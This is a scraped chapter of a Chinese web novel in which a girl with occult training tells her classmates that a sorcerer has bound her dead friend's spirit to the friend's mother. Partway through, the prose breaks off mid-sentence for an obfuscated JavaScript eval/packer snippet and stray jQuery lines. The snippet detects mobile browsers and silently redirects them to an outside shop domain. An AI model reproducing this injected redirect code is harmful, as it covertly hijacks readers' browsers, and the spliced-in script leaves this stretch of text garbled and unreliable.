文趣网 > 都市小说 > 小师叔她卖艺上学去啦 > 9. 坦白
    六个人又双叒叕来到了“如愿”,依然是昨天的小圆桌,围成一圈排排坐。

    安星隅刚把书包放到背后,转过身来,对上了五双目不转睛,透亮透亮的眼睛。

    几个人藏不住一点事,脸上写满了好奇和疑问。

    安星隅动作稍停,随后不紧不慢地坐正身子,问道:“都看着我做什么?”

    许宥倒是迫不及待地想要开口,但被苏与宁轻轻一扯,还是聪明了一回,硬生生咽下了要说的话。

    但方泽显然没注意这一出动作,见没人说话,开门见山地直接问了出来:“安星隅,难不成你这次下山是要办什么案子吗?”

    安星隅微微失神,虽然她从来没有过多地遮掩自己下山的目的,但也没想到才上学第二天就被人给戳穿了。

    没有拖泥带水,安星隅承认了方泽的问题,“嗯。”

    紧接着看向一言不发,但静静注视着她的宋叙白,“你怎么知道的?”

    宋叙白先是沉默了一瞬,仔细想了想才回道:“我昨天就发现你对秦悦不太一样,好像早就知道她的名字,一点也不惊讶和好奇。今天你在体育课上又一直很关心24班,一直在找人的样子,再加上你说你第一次下山……”

    话虽然没有说完,但说的内容条理清晰,逻辑严谨,明显从昨天他发现的细节问题开始,就一直在关注着安星隅的动向。

    方泽和许宥同步地张开嘴巴,转头看向宋叙白,表情很是震惊,不知道他什么发现这些事情的,明明他们不是一直待在一起的吗?怎么他们什么都没发现?

    许宥手动合上了下巴,习惯性地摸了摸自己的双马尾辫,随口问了一句,“宋叙白,你观察挺仔细的,你不会一直在盯着安星隅吧!”

    “安星隅她压根没想掩饰这件事,我就是比较细心才发现的。”越到后头,说话的声音就越低,宋叙白眼神闪了闪,耳朵尖微微泛红,结巴结巴地解释道。

    安星隅没对宋叙白的说辞说些什么,只是从右到左依次扫过大家的神情。

    懵懂的许宥,严肃的苏与宁,冷峻的陈钦野,迷惑的方泽,以及慌张的宋叙白。

    缓缓吐出了口气,安星隅面色平静地开口说道,“前几天,我在……”

    ……

    “……这就是我下山的原因。”安星隅简单地向众人讲了事情的起始,因为早就收拾好了消极的情绪,导致说话的全过程语气淡淡,没有一点起伏,却不知道自己的短短几句话,冲击了在场剩余五个人的三观,粉碎了长久以来墨守成规的常识。

    “你掐一下我,我是不是在做梦?”许宥眼神飘忽不定,推了推苏与宁,呆愣愣地说着。

    苏与宁随口“嗯”了一声,却没什么动作,也是很迷茫,觉得是不是自己听错了。

    另一边的三个人,他们的神情也不遑多让。

    一直冷静的陈钦野这下也没法继续冷静下去,拧着眉,似在怀疑;方泽抱着脑袋,处于死机状态,;宋叙白则吞了吞口水,眼神空洞,不知道话题怎么从悬疑一下子变成玄学了,世界观都变了……

    安星隅看着四周呆若木鸡的状态,也有些无奈,毕竟要是不讲事情的概貌,也没法回答大家的问题。

    轻轻地拍了拍手,清脆的声音唤回了大家的注意。

    等了几秒钟,安星隅才有点心虚地说道:“你们——还行吧?”

    安星隅的话一开始对大家的冲击是有点大,但都是十七八岁的青少年,虽然接受的是唯物主义学习,但谁的内心没有想过牛鬼蛇神的事,只不过突然听到还是会猝不及防。

    许宥这下是一点也忍不了了,“星隅,所以秦悦,她和你朋友的死有关系,是吗?”

    安星隅没有点头,只是迟疑地说:“还没确定有没有关系,只是我个人的一些猜测。”

    苏与宁倒是发现了事情的盲点,皱着眉问道:“那你应该转到24班,怎么转到我们班了,再说了,我没听说24班有哪个人去世——”

    这一问点出了整件事情的关键,许宥五个人瞬间面色苍白,坐在温度适宜的甜品店里却个个冒出了冷汗,眼中满是难以置信的惊恐。

    因为24班没听说有哪个人去世,但他们25班,这个学期却有一个同学休学了……

    “她叫江筱,在市一中25班念书,这个学期突然休学,再没来过学校。”安星隅缓缓说出了自己儿时伙伴的名字。

    许宥晃了晃脑袋,还是不愿意相信,“不对呀,她不是身体不好休学了吗,怎么就——就——”

    安星隅眼看许宥眼眶微红,情绪有些激动,赶忙安抚,说:“她有先天性心脏病,身体本来就不太好,医生给出的最终死亡原因也是心肺衰竭。”

    “先天性心脏病——我知道她身体不好,但不知道她——”不仅是许宥呆住了,其他人也都一怔,显然都不知道江筱身体不好的真正原因。

    江筱从高一开学就和他们是一个班的,后来文理分科也依然在同一个班。

    只不过,江筱身体不太好,性格又比较内敛,不太爱讲话,和班上的同学交流不多,也没见她和班上其他人关系比较亲密,倒是见到过她和隔壁班的……

    ——是秦悦!江筱和秦悦经常下课在一起聊天。

    “江筱,也就是——阿筱,”说到江筱的名字时,安星隅只觉得变扭,还是换回了她小时候最熟悉,现在又全然陌生的一个称呼,“她是单亲家庭,爸爸早逝,妈妈开了一家名为‘陈记’的早餐店。

    “日常人际关系很简单,除了放学回家,时不时去医院看病,待的最久的就是学校。

    “我拜托帮忙的人只调查出了阿筱和秦悦关系不错,剩余的事,他没法进到学校里深入调查,所以我就……”未尽的话语不言而喻。

    宋叙白抱着双臂,一只手轻轻敲着胳膊,问出了另一个

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527456|203581||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    关键问题,“医生说是死于心肺衰竭,但你却在江筱的妈妈身上看到了她的——暂且算是鬼魂吧,所以是有人恶意施法让江筱死于心肺衰竭,不让江筱投胎转世?”他边思考边说,最后一句话连猜带蒙地提出了一个看法。

    点了点头,又摇了摇头,安星隅纠正道:“你说的不完全正确,阿筱的确是死于心肺衰竭,术士还做不到这种程度,只不过她在死后的那一瞬间被人为留在了人间,还和她的母亲绑定在一起了,一旦一个月的期限过了,不仅阿筱转不了世,陈记店主的寿命也会有所亏损。”说到最后,安星隅蹙了蹙眉,有些担心。

    “那怎么办?”许宥手指不停缠绕着发梢,脸上露出不安的神情,整个身体都紧绷着,显然又紧张又焦虑。

    其他人也跟着看向安星隅,期待她能给出一个解决方案。

    安星隅抿了抿嘴唇,缓缓开口:“阿筱是在死前一刻受到了巨大的负面情绪影响,再通过施术者的某种媒介,将她的魂魄牵引到陈记店主身上,进而绑定。师父有教过我,这种情况要先找出施术者使用的媒介,再施法联通死者,消除其负面情绪,就能解决此咒术。”

    许宥眼睛“唰”地睁大,刚要说“太好了!”就被苏与宁无情地打破幻想。

    “所以现在最关键的就是调查出江筱受到了什么刺激,以及找到那个媒介,是吗?”

    安星隅轻轻颔首,“对。媒介不难,我可以推算它的位置,但阿筱死前到底经历了什么,没人知道。”

    许宥想不通,为什么要这么绕来绕去,不能直接一点,“那为什么不可以找到媒介后,直接联通江筱,和她沟通交流,不就知道她经历了什么吗?”

    “行不通,通常情况下死者受到刺激后,整个人会被负面情绪充斥,根本没有理智,如果不知道具体发生了什么,对症下药,贸然和她联通,会引起更大的危险。”

    很遗憾,许宥的想法太过冒险,不到万不得已的情况下,不能采用这种方法。

    许宥“啊!”了一声,身子一耸,垂头丧气地看着圆桌,不知道还能怎么办。

    一直没开口的陈钦野这时开口了,他挺了挺腰背,抬手推了下眼镜,说道:“你应该有想法了吧,要不然不会关注秦悦。”

    问题又回到了最开始,安星隅向大家讲出了自己的猜测,“阿筱既然和她妈妈绑定在一起,事情就不可能和陈记店主有关。除了家人,她唯一的好朋友就是秦悦,即便事情和秦悦没关系,她也应该知道些什么。”

    方泽和许宥听完后,恍然大悟,不住的直点头,终于理清了这件事的前后逻辑关系。

    而一旁的苏与宁、陈钦野以及宋叙白显然早就听懂了,没什么大的反应,静静坐在沙发上沉思,不知道在想什么。

    “那我们应该怎么做?”许宥恢复精神气,眼睛亮亮的,直勾勾看着安星隅。

    “明天体育课上,我们……”